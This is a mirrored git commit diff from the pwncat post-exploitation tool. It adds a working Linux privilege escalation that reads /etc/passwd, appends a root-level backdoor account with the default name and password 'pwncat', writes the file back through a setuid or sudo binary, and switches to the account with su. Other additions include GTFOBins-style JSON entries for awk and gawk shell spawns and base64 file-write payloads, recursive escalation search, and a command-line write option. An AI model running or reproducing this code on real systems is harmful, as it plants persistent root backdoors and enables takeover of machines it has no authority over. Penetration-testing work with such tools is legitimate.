mirror of
https://github.com/calebstewart/pwncat.git
synced 2024-11-27 19:04:15 +01:00
Working /etc/passwd overwrite to root.
This commit is contained in:
parent
2d65544b77
commit
b21761ff6f
@ -1,4 +1,8 @@
|
||||
[
|
||||
{
|
||||
"name": "cat",
|
||||
"read_file": "{path} {lfile}"
|
||||
},
|
||||
{
|
||||
"name": "bash",
|
||||
"shell": {
|
||||
@ -35,15 +39,6 @@
|
||||
"need": ["--on-download-error=$TF","http://x"]
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "cat",
|
||||
"read_file": "{path} {lfile}"
|
||||
},
|
||||
{
|
||||
"name": "arp",
|
||||
"read_file": "{path} -v -f {lfile} 2>&1 | while read line; do substring=\"\"; if ! test \"${{line#*arp}}\" != \"$line\"; then echo ${{line#>> }}; fi; done",
|
||||
"safe":false
|
||||
},
|
||||
{
|
||||
"name": "ash",
|
||||
"shell": {
|
||||
@ -60,23 +55,20 @@
|
||||
{
|
||||
"name": "awk",
|
||||
"shell": {
|
||||
"script": "{command} 'BEGIN {{system(\"/bin/sh\")}}'"
|
||||
"script": "{command} 'BEGIN {{system(\"{shell} -p\")}}'"
|
||||
},
|
||||
"read_file": "{path} '//' {lfile}",
|
||||
"write_file": {
|
||||
"type": "base64",
|
||||
"payload": "{path} -v LFILE={lfile} 'BEGIN {{ \"echo \\\"{data}\\\" | base64 -d\" | getline x ; print x > LFILE }}'"
|
||||
"payload": "{path} -v LFILE={lfile} 'BEGIN {{ printf \"\" > LFILE; while ((\"echo \\\"{data}\\\" | base64 -d\" | getline) > 0){{ print >> LFILE }} }}'"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "gawk",
|
||||
"shell": {
|
||||
"script": "{command} 'BEGIN {{system(\"/bin/sh\")}}'"
|
||||
},
|
||||
"read_file": "{path} '//' {lfile}",
|
||||
"write_file": {
|
||||
"type": "base64",
|
||||
"payload": "{path} -v LFILE={lfile} 'BEGIN {{ \"echo \\\"{data}\\\" | base64 -d\" | getline x ; print x > LFILE }}'"
|
||||
"payload": "{path} -v LFILE={lfile} 'BEGIN {{ printf \"\" > LFILE; while ((\"echo \\\"{data}\\\" | base64 -d\" | getline) > 0){{ print >> LFILE }} }}'"
|
||||
}
|
||||
},
|
||||
{
|
||||
|
@ -67,11 +67,7 @@ class Binary:
|
||||
exit = "exit"
|
||||
input = ""
|
||||
else:
|
||||
script = (
|
||||
self.data["shell"]
|
||||
.get("script", "{command}")
|
||||
.format(shell=shell_path, command="{command}")
|
||||
)
|
||||
script = self.data["shell"].get("script", "{command}")
|
||||
suid_args = self.data["shell"].get("suid", [])
|
||||
args = [
|
||||
n.format(shell=shell_path) for n in self.data["shell"].get("need", [])
|
||||
@ -92,7 +88,7 @@ class Binary:
|
||||
command = sudo_prefix + " " + command
|
||||
|
||||
return (
|
||||
script.format(command=command),
|
||||
script.format(command=command, shell=shell_path),
|
||||
input.format(shell=shlex.quote(shell_path)),
|
||||
exit,
|
||||
)
|
||||
@ -317,15 +313,9 @@ class Binary:
|
||||
continue
|
||||
|
||||
binary = Binary(path, data)
|
||||
if not binary.is_safe == safe:
|
||||
if not binary.is_safe and safe:
|
||||
continue
|
||||
if not binary.has_read and (capability & Capability.READ):
|
||||
continue
|
||||
if not binary.has_write and (capability & Capability.WRITE):
|
||||
continue
|
||||
if not binary.has_sudo and (capability & Capability.SUDO):
|
||||
continue
|
||||
if not binary.has_shell and (capability & Capability.SHELL):
|
||||
if (binary.capabilities & capability) == 0:
|
||||
continue
|
||||
|
||||
return binary
|
||||
|
@ -1,13 +1,15 @@
|
||||
#!/usr/bin/env python3
|
||||
from typing import Type, List, Tuple
|
||||
import crypt
|
||||
|
||||
from pwncat.privesc.base import Method, PrivescError, Technique, SuMethod, Capability
|
||||
from pwncat.privesc.setuid import SetuidMethod
|
||||
from pwncat.privesc.sudo import SudoMethod
|
||||
from pwncat import gtfobins
|
||||
|
||||
|
||||
# privesc_methods = [SetuidMethod, SuMethod]
|
||||
privesc_methods = [SudoMethod, SetuidMethod, SuMethod]
|
||||
privesc_methods = [SuMethod, SudoMethod, SetuidMethod]
|
||||
|
||||
|
||||
class Finder:
|
||||
@ -17,11 +19,22 @@ class Finder:
|
||||
found. If `user` is not provided, depth is forced to `1`, and all methods
|
||||
to privesc to that user are returned. """
|
||||
|
||||
def __init__(self, pty: "pwncat.pty.PtyHandler"):
|
||||
DEFAULT_BACKDOOR_NAME = "pwncat"
|
||||
DEFAULT_BACKDOOR_PASS = "pwncat"
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
pty: "pwncat.pty.PtyHandler",
|
||||
backdoor_user: str = None,
|
||||
backdoor_password: str = None,
|
||||
):
|
||||
""" Create a new privesc finder """
|
||||
|
||||
self.pty = pty
|
||||
|
||||
# A user we added which has UID=0 privileges
|
||||
self.backdoor_user = None
|
||||
self.backdoor_user_name = backdoor_user
|
||||
self.backdoor_password = backdoor_password
|
||||
self.methods: List[Method] = []
|
||||
for m in privesc_methods:
|
||||
try:
|
||||
@ -30,6 +43,15 @@ class Finder:
|
||||
except PrivescError:
|
||||
pass
|
||||
|
||||
if backdoor_user is None:
|
||||
self.backdoor_user_name = Finder.DEFAULT_BACKDOOR_NAME
|
||||
if backdoor_password is None:
|
||||
self.backdoor_password = Finder.DEFAULT_BACKDOOR_PASS
|
||||
|
||||
if self.backdoor_user_name in self.pty.users:
|
||||
self.pty.users[self.backdoor_user_name]["password"] = self.backdoor_password
|
||||
self.backdoor_user = self.pty.users[self.backdoor_user_name]
|
||||
|
||||
def search(self, target_user: str = None) -> List[Technique]:
|
||||
""" Search for privesc techniques for the current user to get to the
|
||||
target user. If target_user is not specified, all techniques for all
|
||||
@ -49,6 +71,80 @@ class Finder:
|
||||
|
||||
return techniques
|
||||
|
||||
def write_file(
|
||||
self,
|
||||
filename: str,
|
||||
data: bytes,
|
||||
safe: bool = True,
|
||||
target_user: str = None,
|
||||
depth: int = None,
|
||||
chain: List[Technique] = [],
|
||||
starting_user=None,
|
||||
):
|
||||
|
||||
if target_user is None:
|
||||
target_user = "root"
|
||||
|
||||
current_user = self.pty.current_user
|
||||
if (
|
||||
target_user == current_user["name"]
|
||||
or current_user["uid"] == 0
|
||||
or current_user["name"] == "root"
|
||||
):
|
||||
binary = gtfobins.Binary.find_capability(
|
||||
self.pty.which, Capability.WRITE, safe=safe
|
||||
)
|
||||
if binary is None:
|
||||
raise PrivescError("no binaries to write with")
|
||||
|
||||
return self.pty.subprocess(binary.write_file(filename, data)), chain
|
||||
|
||||
if starting_user is None:
|
||||
starting_user = current_user
|
||||
|
||||
if depth is not None and len(chain) > depth:
|
||||
raise PrivescError("max depth reached")
|
||||
|
||||
# Enumerate escalation options for this user
|
||||
techniques = []
|
||||
for method in self.methods:
|
||||
try:
|
||||
found_techniques = method.enumerate(capability=Capability.ALL)
|
||||
for tech in found_techniques:
|
||||
|
||||
if tech.user == target_user and (
|
||||
tech.capabilities & Capability.WRITE
|
||||
):
|
||||
try:
|
||||
tech.method.write_file(filename, data, tech)
|
||||
return chain
|
||||
except PrivescError as e:
|
||||
pass
|
||||
techniques.extend(found_techniques)
|
||||
except PrivescError:
|
||||
pass
|
||||
|
||||
# We can't escalate directly to the target to read a file. So, try recursively
|
||||
# against other users.
|
||||
for tech in techniques:
|
||||
if tech.user == target_user:
|
||||
continue
|
||||
try:
|
||||
exit_command = self.escalate_single(tech)
|
||||
chain.append((tech, exit_command))
|
||||
except PrivescError:
|
||||
continue
|
||||
try:
|
||||
return self.write_file(
|
||||
filename, data, safe, target_user, depth, chain, starting_user
|
||||
)
|
||||
except PrivescError:
|
||||
tech, exit_command = chain[-1]
|
||||
self.pty.run(exit_command, wait=False)
|
||||
chain.pop()
|
||||
|
||||
raise PrivescError(f"no route to {target_user} found")
|
||||
|
||||
def read_file(
|
||||
self,
|
||||
filename: str,
|
||||
@ -85,7 +181,6 @@ class Finder:
|
||||
try:
|
||||
found_techniques = method.enumerate(capability=Capability.ALL)
|
||||
for tech in found_techniques:
|
||||
|
||||
if tech.user == target_user and (
|
||||
tech.capabilities & Capability.READ
|
||||
):
|
||||
@ -121,8 +216,70 @@ class Finder:
|
||||
raise PrivescError(f"no route to {target_user} found")
|
||||
|
||||
def escalate_single(self, technique: Technique) -> str:
|
||||
self.pty.run("echo") # restabilize shell
|
||||
return technique.method.execute(tech)
|
||||
|
||||
if (technique.capabilities & Capability.SHELL) > 0:
|
||||
try:
|
||||
# Attempt our basic, known technique
|
||||
return technique.method.execute(technique)
|
||||
except PrivescError:
|
||||
pass
|
||||
|
||||
# We can't privilege escalate with this technique, but we may be able
|
||||
# to add a user via file write.
|
||||
if (technique.capabilities & Capability.WRITE) == 0 or technique.user != "root":
|
||||
raise PrivescError("privesc failed")
|
||||
|
||||
# We need su to privesc w/ file write
|
||||
if self.pty.which("su") is None:
|
||||
raise PrivescError("privesc failed")
|
||||
|
||||
# Read the current content of /etc/passwd
|
||||
reader = gtfobins.Binary.find_capability(self.pty.which, Capability.READ)
|
||||
if reader is None:
|
||||
print("\nNo reader found")
|
||||
raise PrivescError("no file reader found")
|
||||
|
||||
payload = reader.read_file("/etc/passwd")
|
||||
|
||||
# Read the file
|
||||
passwd = self.pty.subprocess(reader.read_file("/etc/passwd"))
|
||||
data = passwd.read()
|
||||
passwd.close()
|
||||
|
||||
# Split up the file by lines
|
||||
data = data.decode("utf-8").strip()
|
||||
data = data.split("\n")
|
||||
|
||||
# Add a new user
|
||||
password = crypt.crypt(self.backdoor_password)
|
||||
user = self.backdoor_user_name
|
||||
data.append(f"{user}:{password}:0:0::/root:{self.pty.shell}")
|
||||
|
||||
# Join the data back and encode it
|
||||
data = ("\n".join(data) + "\n").encode("utf-8")
|
||||
|
||||
# Write the data
|
||||
technique.method.write_file("/etc/passwd", data, technique)
|
||||
|
||||
# Maybe help?
|
||||
self.pty.run("echo")
|
||||
|
||||
# Check that it succeeded
|
||||
users = self.pty.reload_users()
|
||||
|
||||
# Check if the new passwd file contained the file
|
||||
if user not in users:
|
||||
raise PrivescError("privesc failed")
|
||||
|
||||
self.pty.users[user]["password"] = password
|
||||
self.backdoor_user = self.pty.users[user]
|
||||
|
||||
# Switch to the new user
|
||||
self.pty.process(f"su {user}", delim=False)
|
||||
self.pty.client.send(self.backdoor_password.encode("utf-8") + b"\n")
|
||||
self.pty.run("echo")
|
||||
|
||||
return "exit"
|
||||
|
||||
def escalate(
|
||||
self,
|
||||
@ -137,6 +294,9 @@ class Finder:
|
||||
if target_user is None:
|
||||
target_user = "root"
|
||||
|
||||
if target_user == "root" and self.backdoor_user:
|
||||
target_user = self.backdoor_user["name"]
|
||||
|
||||
current_user = self.pty.current_user
|
||||
if (
|
||||
target_user == current_user["name"]
|
||||
@ -156,12 +316,14 @@ class Finder:
|
||||
for method in self.methods:
|
||||
try:
|
||||
found_techniques = method.enumerate(
|
||||
capability=Capability.SHELL | Capability.SUDO
|
||||
capability=Capability.SHELL | Capability.SUDO | Capability.WRITE
|
||||
)
|
||||
for tech in found_techniques:
|
||||
if tech.user == target_user:
|
||||
try:
|
||||
exit_command = tech.method.execute(tech)
|
||||
exit_command = self.escalate_single(
|
||||
tech
|
||||
) # tech.method.execute(tech)
|
||||
chain.append((tech, exit_command))
|
||||
self.pty.reset()
|
||||
self.pty.do_back([])
|
||||
@ -178,7 +340,7 @@ class Finder:
|
||||
if tech.user == target_user:
|
||||
continue
|
||||
try:
|
||||
exit_command = tech.method.execute(tech)
|
||||
exit_command = self.escalate_single(tech) # tech.method.execute(tech)
|
||||
chain.append((tech, exit_command))
|
||||
except PrivescError:
|
||||
continue
|
||||
|
@ -7,6 +7,7 @@ import socket
|
||||
import os
|
||||
|
||||
from pwncat import util
|
||||
from pwncat.file import RemoteBinaryPipe
|
||||
|
||||
from enum import Enum
|
||||
|
||||
@ -64,6 +65,15 @@ class Method:
|
||||
Raise a PrivescError if there was a problem. """
|
||||
raise NotImplementedError("no execute method implemented")
|
||||
|
||||
def read_file(self, filename: str, technique: Technique) -> RemoteBinaryPipe:
|
||||
""" Execute a read_file action with the given technique and return a
|
||||
remote file pipe which will yield the file contents. """
|
||||
raise NotImplementedError("no read_file implementation")
|
||||
|
||||
def write_file(self, filename: str, data: bytes, technique: Technique):
|
||||
""" Execute a write_file action with the given technique. """
|
||||
raise NotImplementedError("no write_file implementation")
|
||||
|
||||
def get_name(self, tech: Technique):
|
||||
return f"{Fore.GREEN}{tech.user}{Fore.RESET} via {Fore.RED}{self}{Fore.RED}"
|
||||
|
||||
@ -85,9 +95,16 @@ class SuMethod(Method):
|
||||
if user == current_user:
|
||||
continue
|
||||
if info.get("password") is not None:
|
||||
result.append(Technique(user=user, method=self, ident=info["password"]))
|
||||
result.append(
|
||||
Technique(
|
||||
user=user,
|
||||
method=self,
|
||||
ident=info["password"],
|
||||
capabilities=Capability.SHELL,
|
||||
)
|
||||
)
|
||||
|
||||
return []
|
||||
return result
|
||||
|
||||
def execute(self, technique: Technique):
|
||||
|
||||
@ -96,25 +113,34 @@ class SuMethod(Method):
|
||||
|
||||
# Read the echo
|
||||
if self.pty.has_echo:
|
||||
self.pty.client.recvuntil("\n")
|
||||
self.pty.recvuntil("\n")
|
||||
|
||||
# Send the password
|
||||
self.pty.client.sendall(technique.ident.encode("utf-8") + b"\n")
|
||||
|
||||
# Read the echo
|
||||
if self.pty.has_echo:
|
||||
self.pty.client.recvuntil("\n")
|
||||
self.pty.recvuntil("\n")
|
||||
|
||||
# Read the response (either "Authentication failed" or "good")
|
||||
result = self.pty.client.recvuntil("\n")
|
||||
if b"failure" in result.lower() or "good" not in result.lower():
|
||||
result = self.pty.recvuntil("\n")
|
||||
if b"failure" in result.lower() or b"good" not in result.lower():
|
||||
raise PrivescError(f"{technique.user}: invalid password")
|
||||
|
||||
self.pty.run(f"su {technique.user}", wait=False)
|
||||
self.pty.client.sendall(technique.ident.encode("utf-8") + b"\n")
|
||||
|
||||
if self.pty.whoami() != technique.user:
|
||||
user = self.pty.whoami()
|
||||
|
||||
if (
|
||||
technique.user == self.pty.privesc.backdoor_user["name"] and user != "root"
|
||||
) or (
|
||||
technique.user != self.pty.privesc.backdoor_user["name"]
|
||||
and user != technique.user
|
||||
):
|
||||
raise PrivescError(f"{technique} failed (still {self.pty.whoami()})")
|
||||
|
||||
return "exit"
|
||||
|
||||
def get_name(self, tech: Technique):
|
||||
return f"{Fore.GREEN}{tech.name}{Fore.RESET} via {Fore.RED}known password{Fore.RESET}"
|
||||
return f"{Fore.GREEN}{tech.user}{Fore.RESET} via {Fore.RED}known password{Fore.RESET}"
|
||||
|
@ -112,10 +112,16 @@ class SetuidMethod(Method):
|
||||
binary = technique.ident
|
||||
read_payload = binary.read_file(filepath)
|
||||
|
||||
# read_pipe = self.pty.subprocess(read_payload)
|
||||
read_pipe = io.BytesIO(self.pty.run(read_payload))
|
||||
read_pipe = self.pty.subprocess(read_payload)
|
||||
|
||||
return read_pipe
|
||||
|
||||
def write_file(self, filepath: str, data: bytes, technique: Technique):
|
||||
|
||||
binary = technique.ident
|
||||
payload = binary.write_file(filepath, data)
|
||||
|
||||
self.pty.run(payload)
|
||||
|
||||
def get_name(self, tech: Technique):
|
||||
return f"{Fore.GREEN}{tech.user}{Fore.RESET} via {Fore.CYAN}{tech.ident.path}{Fore.RESET} ({Fore.RED}setuid{Fore.RESET})"
|
||||
|
@ -518,8 +518,8 @@ class PtyHandler:
|
||||
help="the target user",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--depth",
|
||||
"-d",
|
||||
"--max-depth",
|
||||
"-m",
|
||||
type=int,
|
||||
default=None,
|
||||
help="Maximum depth for the privesc search (default: no maximum)",
|
||||
@ -531,6 +531,27 @@ class PtyHandler:
|
||||
default=None,
|
||||
help="remote filename to try and read",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--write",
|
||||
"-w",
|
||||
type=str,
|
||||
default=None,
|
||||
help="attempt to write to a remote file as the specified user",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--data",
|
||||
"-d",
|
||||
type=str,
|
||||
default=None,
|
||||
help="the data to write a file. ignored if not write mode",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--text",
|
||||
"-t",
|
||||
action="store_true",
|
||||
default=False,
|
||||
help="whether to use safe readers/writers",
|
||||
)
|
||||
|
||||
try:
|
||||
args = parser.parse_args(argv)
|
||||
@ -544,22 +565,46 @@ class PtyHandler:
|
||||
util.warn("no techniques found")
|
||||
else:
|
||||
for tech in techniques:
|
||||
util.info(f"escalation to {tech}")
|
||||
util.info(f" - {tech}")
|
||||
elif args.read:
|
||||
try:
|
||||
read_pipe, chain = self.privesc.read_file(
|
||||
args.read, args.user, args.depth
|
||||
args.read, args.user, args.max_depth
|
||||
)
|
||||
|
||||
# Read the data from the pipe
|
||||
sys.stdout.buffer.write(read_pipe.read(4096))
|
||||
read_pipe.close()
|
||||
|
||||
# Unwrap in case we had to privesc to get here
|
||||
self.privesc.unwrap(chain)
|
||||
|
||||
except privesc.PrivescError as exc:
|
||||
util.error(f"read file failed: {exc}")
|
||||
elif args.write:
|
||||
if args.data is None:
|
||||
util.error("no data specified")
|
||||
else:
|
||||
if args.data.startswith("@"):
|
||||
with open(args.data[1:], "rb") as f:
|
||||
data = f.read()
|
||||
else:
|
||||
data = args.data.encode("utf-8")
|
||||
try:
|
||||
chain = self.privesc.write_file(
|
||||
args.write,
|
||||
data,
|
||||
safe=not args.text,
|
||||
target_user=args.user,
|
||||
depth=args.max_depth,
|
||||
)
|
||||
self.privesc.unwrap(chain)
|
||||
util.success("file written successfully!")
|
||||
except privesc.PrivescError as exc:
|
||||
util.error(f"file write failed: {exc}")
|
||||
else:
|
||||
try:
|
||||
self.privesc.escalate(args.user, args.depth)
|
||||
self.privesc.escalate(args.user, args.max_depth)
|
||||
except privesc.PrivescError as exc:
|
||||
util.error(f"escalation failed: {exc}")
|
||||
|
||||
@ -918,6 +963,11 @@ class PtyHandler:
|
||||
result = self.run("whoami")
|
||||
return result.strip().decode("utf-8")
|
||||
|
||||
def reload_users(self):
|
||||
""" Clear user cache and reload it """
|
||||
self.known_users = None
|
||||
return self.users
|
||||
|
||||
@property
|
||||
def users(self):
|
||||
if self.known_users:
|
||||
|
Loading…
Reference in New Issue
Block a user